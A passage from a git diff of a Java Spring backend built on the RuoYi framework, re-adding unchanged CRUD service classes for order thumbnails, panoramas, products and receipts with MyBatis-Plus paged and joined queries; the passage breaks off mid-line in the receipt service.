org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.work.domain.TpOrder; -import org.dromara.work.domain.TpOrderRecord; -import org.dromara.work.domain.TpOrderSmall; -import org.dromara.work.domain.bo.TpOrderSmallBo; -import org.dromara.work.domain.vo.TpOrderSmallVo; -import org.dromara.work.mapper.TpOrderMapper; -import org.dromara.work.mapper.TpOrderRecordMapper; -import org.dromara.work.mapper.TpOrderSmallMapper; -import org.dromara.work.service.ITpOrderSmallService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.Date; -import java.util.List; -import java.util.Map; - -/** - * 订单小图Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpOrderSmallServiceImpl extends MPJBaseServiceImpl implements ITpOrderSmallService { - - private final TpOrderSmallMapper baseMapper; - - private final TpOrderRecordMapper recordMapper; - - private final TpOrderMapper orderMapper; - - /** - * 查询订单小图 - * - * @param id 主键 - * @return 订单小图 - */ - @Override - public TpOrderSmallVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询订单小图列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 订单小图分页列表 - */ - @Override - public TableDataInfo queryPageList(TpOrderSmallBo bo, PageQuery pageQuery) { - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) - .selectAll(TpOrderSmall.class) - .select("s.real_name as addUserName") - .leftJoin("sys_user s on s.user_id = t.add_user") - .orderByDesc(TpOrderSmall::getId); - - //分页查询 (需要启用 mybatis plus 分页插件) - IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpOrderSmallVo.class, wrapper); - return TableDataInfo.build(listPage); - } - - /** - * 查询符合条件的订单小图列表 - * - * @param bo 查询条件 - * @return 订单小图列表 - */ - @Override - public List queryList(TpOrderSmallBo bo) { - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) - .selectAll(TpOrderSmall.class) - .select("s.real_name as addUserName") - .leftJoin("sys_user s on s.user_id = t.add_user") - .orderByDesc(TpOrderSmall::getId); - - return baseMapper.selectVoList(wrapper); - } - - private MPJLambdaWrapper buildQueryMPJWrapper(TpOrderSmallBo bo) { - Map params = bo.getParams(); - MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); - lqw.eq(bo.getOid() != null, TpOrderSmall::getOid, bo.getOid()); - lqw.like(StringUtils.isNotBlank(bo.getName()), TpOrderSmall::getName, bo.getName()); - lqw.eq(StringUtils.isNotBlank(bo.getPic()), TpOrderSmall::getPic, bo.getPic()); - lqw.eq(bo.getAddTime() != null, TpOrderSmall::getAddTime, bo.getAddTime()); - lqw.eq(bo.getAddUser() != null, TpOrderSmall::getAddUser, bo.getAddUser()); - return lqw; - } - - /** - * 新增订单小图 - * - * @param bo 订单小图 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpOrderSmallBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if (!loginUser.getIdentity().equals(2)){ - throw new ServiceException("只有技术才可以上传图片哦"); - } - bo.setAddTime(new Date()); - bo.setAddUser(loginUser.getUserId()); - TpOrderSmall add = MapstructUtils.convert(bo, TpOrderSmall.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - TpOrderRecord record = new TpOrderRecord(); - record.setOid(bo.getOid()); - record.setType("上传小图"); - record.setContent("订单上传小图成功"); - record.setAddUser(loginUser.getUserId()); - record.setAddTime(new Date()); - record.setState(1); - recordMapper.insert(record); - - TpOrder order = orderMapper.selectById(bo.getOid()); - order.setState(3); - orderMapper.updateById(order); - } - return flag; - } - - /** - * 修改订单小图 - * - * @param bo 订单小图 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpOrderSmallBo bo) { - TpOrderSmall update = MapstructUtils.convert(bo, TpOrderSmall.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpOrderSmall entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除订单小图信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.github.yulichang.base.MPJBaseServiceImpl; +import com.github.yulichang.wrapper.MPJLambdaWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.work.domain.TpOrder; +import org.dromara.work.domain.TpOrderRecord; +import org.dromara.work.domain.TpOrderSmall; +import org.dromara.work.domain.bo.TpOrderSmallBo; +import org.dromara.work.domain.vo.TpOrderSmallVo; +import org.dromara.work.mapper.TpOrderMapper; +import org.dromara.work.mapper.TpOrderRecordMapper; +import org.dromara.work.mapper.TpOrderSmallMapper; +import org.dromara.work.service.ITpOrderSmallService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.Date; +import java.util.List; +import java.util.Map; + +/** + * 订单小图Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpOrderSmallServiceImpl extends MPJBaseServiceImpl implements ITpOrderSmallService { + + private final TpOrderSmallMapper baseMapper; + + private final TpOrderRecordMapper recordMapper; + + private final TpOrderMapper orderMapper; + + /** + * 查询订单小图 + * + * @param id 主键 + * @return 订单小图 + */ + @Override + public TpOrderSmallVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询订单小图列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 订单小图分页列表 + */ + @Override + public TableDataInfo queryPageList(TpOrderSmallBo bo, PageQuery pageQuery) { + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) + .selectAll(TpOrderSmall.class) + .select("s.real_name as addUserName") + .leftJoin("sys_user s on s.user_id = t.add_user") + .orderByDesc(TpOrderSmall::getId); + + //分页查询 (需要启用 mybatis plus 分页插件) + IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpOrderSmallVo.class, wrapper); + return TableDataInfo.build(listPage); + } + + /** + * 查询符合条件的订单小图列表 + * + * @param bo 查询条件 + * @return 订单小图列表 + */ + @Override + public List queryList(TpOrderSmallBo bo) { + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) + .selectAll(TpOrderSmall.class) + .select("s.real_name as addUserName") + .leftJoin("sys_user s on s.user_id = t.add_user") + .orderByDesc(TpOrderSmall::getId); + + return baseMapper.selectVoList(wrapper); + } + + private MPJLambdaWrapper buildQueryMPJWrapper(TpOrderSmallBo bo) { + Map params = bo.getParams(); + MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); + lqw.eq(bo.getOid() != null, TpOrderSmall::getOid, bo.getOid()); + lqw.like(StringUtils.isNotBlank(bo.getName()), TpOrderSmall::getName, bo.getName()); + lqw.eq(StringUtils.isNotBlank(bo.getPic()), TpOrderSmall::getPic, bo.getPic()); + lqw.eq(bo.getAddTime() != null, TpOrderSmall::getAddTime, bo.getAddTime()); + lqw.eq(bo.getAddUser() != null, TpOrderSmall::getAddUser, bo.getAddUser()); + return lqw; + } + + /** + * 新增订单小图 + * + * @param bo 订单小图 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpOrderSmallBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if (!loginUser.getIdentity().equals(2)){ + throw new ServiceException("只有技术才可以上传图片哦"); + } + bo.setAddTime(new Date()); + bo.setAddUser(loginUser.getUserId()); + TpOrderSmall add = MapstructUtils.convert(bo, TpOrderSmall.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + TpOrderRecord record = new TpOrderRecord(); + record.setOid(bo.getOid()); + record.setType("上传小图"); + record.setContent("订单上传小图成功"); + record.setAddUser(loginUser.getUserId()); + record.setAddTime(new Date()); + record.setState(1); + recordMapper.insert(record); + + TpOrder order = orderMapper.selectById(bo.getOid()); + order.setState(3); + orderMapper.updateById(order); + } + return flag; + } + + /** + * 修改订单小图 + * + * @param bo 订单小图 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpOrderSmallBo bo) { + TpOrderSmall update = MapstructUtils.convert(bo, TpOrderSmall.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpOrderSmall entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除订单小图信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpPanoramaServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpPanoramaServiceImpl.java index b162108..ef08bdd 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpPanoramaServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpPanoramaServiceImpl.java @@ -1,135 +1,135 @@ -package org.dromara.work.service.impl; - -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.mybatis.core.page.PageQuery; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import lombok.RequiredArgsConstructor; -import org.springframework.stereotype.Service; -import org.dromara.work.domain.bo.TpPanoramaBo; -import org.dromara.work.domain.vo.TpPanoramaVo; -import org.dromara.work.domain.TpPanorama; -import org.dromara.work.mapper.TpPanoramaMapper; -import org.dromara.work.service.ITpPanoramaService; - -import java.util.List; -import java.util.Map; -import java.util.Collection; - -/** - * 全景Service业务层处理 - * - * @author Maosw - * @date 2025-03-26 - */ -@RequiredArgsConstructor -@Service -public class TpPanoramaServiceImpl implements ITpPanoramaService { - - private final TpPanoramaMapper baseMapper; - - /** - * 查询全景 - * - * @param id 主键 - * @return 全景 - */ - @Override - public TpPanoramaVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询全景列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 全景分页列表 - */ - @Override - public TableDataInfo queryPageList(TpPanoramaBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - lqw.orderByDesc(TpPanorama::getCreateTime); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的全景列表 - * - * @param bo 查询条件 - * @return 全景列表 - */ - @Override - public List queryList(TpPanoramaBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - lqw.orderByAsc(TpPanorama::getSort, TpPanorama::getCreateTime); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpPanoramaBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(bo.getOrderId() != null, TpPanorama::getOrderId, bo.getOrderId()); - lqw.like(StringUtils.isNotBlank(bo.getTitle()), TpPanorama::getTitle, bo.getTitle()); - lqw.eq(bo.getSort() != null, TpPanorama::getSort, bo.getSort()); - lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, - TpPanorama::getCreateTime ,params.get("beginCreateTime"), params.get("endCreateTime")); - return lqw; - } - - /** - * 新增全景 - * - * @param bo 全景 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpPanoramaBo bo) { - TpPanorama add = MapstructUtils.convert(bo, TpPanorama.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改全景 - * - * @param bo 全景 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpPanoramaBo bo) { - TpPanorama update = MapstructUtils.convert(bo, TpPanorama.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpPanorama entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除全景信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import lombok.RequiredArgsConstructor; +import org.springframework.stereotype.Service; +import org.dromara.work.domain.bo.TpPanoramaBo; +import org.dromara.work.domain.vo.TpPanoramaVo; +import org.dromara.work.domain.TpPanorama; +import org.dromara.work.mapper.TpPanoramaMapper; +import org.dromara.work.service.ITpPanoramaService; + +import java.util.List; +import java.util.Map; +import java.util.Collection; + +/** + * 全景Service业务层处理 + * + * @author Maosw + * @date 2025-03-26 + */ +@RequiredArgsConstructor +@Service +public class TpPanoramaServiceImpl implements ITpPanoramaService { + + private final TpPanoramaMapper baseMapper; + + /** + * 查询全景 + * + * @param id 主键 + * @return 全景 + */ + @Override + public TpPanoramaVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询全景列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 全景分页列表 + */ + @Override + public TableDataInfo queryPageList(TpPanoramaBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + lqw.orderByDesc(TpPanorama::getCreateTime); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的全景列表 + * + * @param bo 查询条件 + * @return 全景列表 + */ + @Override + public List queryList(TpPanoramaBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + lqw.orderByAsc(TpPanorama::getSort, TpPanorama::getCreateTime); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpPanoramaBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(bo.getOrderId() != null, TpPanorama::getOrderId, bo.getOrderId()); + lqw.like(StringUtils.isNotBlank(bo.getTitle()), TpPanorama::getTitle, bo.getTitle()); + lqw.eq(bo.getSort() != null, TpPanorama::getSort, bo.getSort()); + lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, + TpPanorama::getCreateTime ,params.get("beginCreateTime"), params.get("endCreateTime")); + return lqw; + } + + /** + * 新增全景 + * + * @param bo 全景 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpPanoramaBo bo) { + TpPanorama add = MapstructUtils.convert(bo, TpPanorama.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改全景 + * + * @param bo 全景 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpPanoramaBo bo) { + TpPanorama update = MapstructUtils.convert(bo, TpPanorama.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpPanorama entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除全景信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpProdServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpProdServiceImpl.java index 044de69..aaa90d0 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpProdServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpProdServiceImpl.java @@ -1,133 +1,133 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpProd; -import org.dromara.work.domain.bo.TpProdBo; -import org.dromara.work.domain.vo.TpProdVo; -import org.dromara.work.mapper.TpProdMapper; -import org.dromara.work.service.ITpProdService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 商品Service业务层处理 - * - * @author Maosw - * @date 2025-03-15 - */ -@RequiredArgsConstructor -@Service -public class TpProdServiceImpl implements ITpProdService { - - private final TpProdMapper baseMapper; - - /** - * 查询商品 - * - * @param id 主键 - * @return 商品 - */ - @Override - public TpProdVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询商品列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 商品分页列表 - */ - @Override - public TableDataInfo queryPageList(TpProdBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的商品列表 - * - * @param bo 查询条件 - * @return 商品列表 - */ - @Override - public List queryList(TpProdBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpProdBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.like(StringUtils.isNotBlank(bo.getTitle()), TpProd::getTitle, bo.getTitle()); - lqw.eq(bo.getStatus() != null, TpProd::getStatus, bo.getStatus()); - lqw.between(params.get("beginCreateBy") != null && params.get("endCreateBy") != null, - TpProd::getCreateBy ,params.get("beginCreateBy"), params.get("endCreateBy")); - lqw.orderByDesc(TpProd::getCreateTime); - return lqw; - } - - /** - * 新增商品 - * - * @param bo 商品 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpProdBo bo) { - TpProd add = MapstructUtils.convert(bo, TpProd.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改商品 - * - * @param bo 商品 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpProdBo bo) { - TpProd update = MapstructUtils.convert(bo, TpProd.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpProd entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除商品信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpProd; +import org.dromara.work.domain.bo.TpProdBo; +import org.dromara.work.domain.vo.TpProdVo; +import org.dromara.work.mapper.TpProdMapper; +import org.dromara.work.service.ITpProdService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 商品Service业务层处理 + * + * @author Maosw + * @date 2025-03-15 + */ +@RequiredArgsConstructor +@Service +public class TpProdServiceImpl implements ITpProdService { + + private final TpProdMapper baseMapper; + + /** + * 查询商品 + * + * @param id 主键 + * @return 商品 + */ + @Override + public TpProdVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询商品列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 商品分页列表 + */ + @Override + public TableDataInfo queryPageList(TpProdBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的商品列表 + * + * @param bo 查询条件 + * @return 商品列表 + */ + @Override + public List queryList(TpProdBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpProdBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.like(StringUtils.isNotBlank(bo.getTitle()), TpProd::getTitle, bo.getTitle()); + lqw.eq(bo.getStatus() != null, TpProd::getStatus, bo.getStatus()); + lqw.between(params.get("beginCreateBy") != null && params.get("endCreateBy") != null, + TpProd::getCreateBy ,params.get("beginCreateBy"), params.get("endCreateBy")); + lqw.orderByDesc(TpProd::getCreateTime); + return lqw; + } + + /** + * 新增商品 + * + * @param bo 商品 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpProdBo bo) { + TpProd add = MapstructUtils.convert(bo, TpProd.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改商品 + * + * @param bo 商品 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpProdBo bo) { + TpProd update = MapstructUtils.convert(bo, TpProd.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpProd entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除商品信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpReceiptServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpReceiptServiceImpl.java index 224ee69..32a2e6c 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpReceiptServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpReceiptServiceImpl.java @@ -1,344 +1,378 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.github.yulichang.base.MPJBaseServiceImpl; -import com.github.yulichang.wrapper.MPJLambdaWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.SysUser; -import org.dromara.work.domain.TpClient; -import org.dromara.work.domain.TpClientStaff; -import org.dromara.work.domain.TpReceipt; -import org.dromara.work.domain.bo.TpReceiptBo; -import org.dromara.work.domain.vo.ReceiptSumVo; -import org.dromara.work.domain.vo.TpReceiptVo; -import org.dromara.work.mapper.TpClientMapper; -import org.dromara.work.mapper.TpClientStaffMapper; -import org.dromara.work.mapper.TpReceiptMapper; -import org.dromara.work.service.ITpReceiptService; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Propagation; -import org.springframework.transaction.annotation.Transactional; - -import java.math.BigDecimal; -import java.util.Collection; -import java.util.Date; -import java.util.List; -import java.util.Map; - -/** - * 收款管理Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpReceiptServiceImpl extends MPJBaseServiceImpl implements ITpReceiptService { - - private final TpReceiptMapper baseMapper; - - private final TpClientMapper clientMapper; - - private final TpClientStaffMapper clientStaffMapper; - - /** - * 查询收款管理 - * - * @param id 主键 - * @return 收款管理 - */ - @Override - public TpReceiptVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - - /** - * 分页查询收款管理列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 收款管理分页列表 - */ - /*@Override - public TableDataInfo queryPageList(TpReceiptBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - lqw.orderByDesc(TpReceipt::getId); - IPage result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - }*/ - - /** - * 分页查询收款管理列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 收款管理分页列表 - */ - @Override - public TableDataInfo queryPageList(TpReceiptBo bo, PageQuery pageQuery) { - //bo.setIsDel(1); - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) - .selectAll(TpReceipt.class) - .selectAs("r.real_name",TpReceiptVo::getRname) - .selectAs("a.real_name",TpReceiptVo::getAddname) - .selectAs(TpClient::getCode,TpReceiptVo::getKcode) - .selectAs(TpClientStaff::getName,TpReceiptVo::getCname) - .leftJoin(SysUser.class,"r", SysUser::getUserId, TpReceipt::getRid) - .leftJoin(SysUser.class,"a", SysUser::getUserId, TpReceipt::getAddUser) - .leftJoin(TpClientStaff.class, TpClientStaff::getId, TpReceipt::getCid) - .leftJoin(TpClient.class, TpClient::getId, TpClientStaff::getKid) - .orderByDesc(TpReceipt::getHkTime); - - //分页查询 (需要启用 mybatis plus 分页插件) - IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpReceiptVo.class, wrapper); - return TableDataInfo.build(listPage); - } - - /** - * 查询符合条件的收款管理列表 - * - * @param bo 查询条件 - * @return 收款管理列表 - */ - @Override - public List queryList(TpReceiptBo bo) { - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) - .selectAll(TpReceipt.class) - .selectAs("r.real_name",TpReceiptVo::getRname) - .selectAs("a.real_name",TpReceiptVo::getAddname) - .selectAs(TpClient::getCode,TpReceiptVo::getKcode) - .selectAs(TpClientStaff::getName,TpReceiptVo::getCname) - .leftJoin(SysUser.class,"r", SysUser::getUserId, TpReceipt::getRid) - .leftJoin(SysUser.class,"a", SysUser::getUserId, TpReceipt::getAddUser) - .leftJoin(TpClientStaff.class, TpClientStaff::getId, TpReceipt::getCid) - .leftJoin(TpClient.class, TpClient::getId, TpClientStaff::getKid) - .orderByDesc(TpReceipt::getId); - return baseMapper.selectJoinList(TpReceiptVo.class,wrapper); - } - - private MPJLambdaWrapper buildQueryMPJWrapper(TpReceiptBo bo) { - Map params = bo.getParams(); - MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); - lqw.eq(bo.getId() != null, TpReceipt::getId, bo.getId()); - lqw.like(StringUtils.isNotBlank(bo.getKcode()), TpClient::getCode, bo.getKcode()); - lqw.like(StringUtils.isNotBlank(bo.getCname()), TpClientStaff::getName, bo.getCname()); - lqw.like(StringUtils.isNotBlank(bo.getAddname()), "a.real_name", 